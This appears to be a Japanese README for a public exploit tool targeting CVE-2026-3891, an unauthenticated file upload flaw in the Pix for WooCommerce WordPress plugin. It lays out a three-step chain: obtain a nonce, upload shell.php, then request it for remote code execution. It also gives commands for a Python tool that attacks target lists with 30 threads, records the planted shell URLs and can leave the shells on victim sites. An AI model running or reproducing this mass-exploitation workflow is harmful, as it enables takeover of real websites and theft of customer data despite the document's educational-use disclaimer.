
Pix for WooCommerce の certificate_crt_path パラメータを介した未認証ファイルアップロード | CVSS 9.8
CVE-2026-3891 は、Pix for WooCommerce WordPress プラグイン(linknacional 製)バージョン ≤ 1.5.0 における、CVSS 9.8 の重大度を持つ認証なしの任意ファイルアップロード脆弱性です。
lkn_pix_for_woocommerce_c6_save_settings AJAX ハンドラーには、以下の問題があります:
certificate_crt_path パラメータで任意の拡張子が受け入れられるlkn_pix_for_woocommerce_generate_nonce エンドポイントから認証なしで自由に取得可能アップロードされたファイルは、Web アクセス可能なディレクトリ /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/ に保存されます。
| バージョン | ステータス |
|---|---|
| ≤ 1.5.0 | 脆弱 |
| 1.6.0+ | 修正済み |
発見者: Alexis Lafontaine(Wordfence 経由、2026年3月13日)
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
→ Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
→ Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
→ RCE
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
-t, --target Single target
-f, --file Target list
-o, --output Save RCE URLs
--threads Workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every request
-v, --verbose Verbose output
教育目的および許可されたテスト目的のみに使用してください。 著者らは誤用に対するいかなる責任も負いません。
| リソース | リンク |
|---|---|
| Wordfence アドバイザリ | wordfence.com |
| NVD エントリ | CVE-2026-3891 |
| 研究者 | Alexis Lafontaine |
linknacional または Pix for WooCommerce とは提携関係にありません。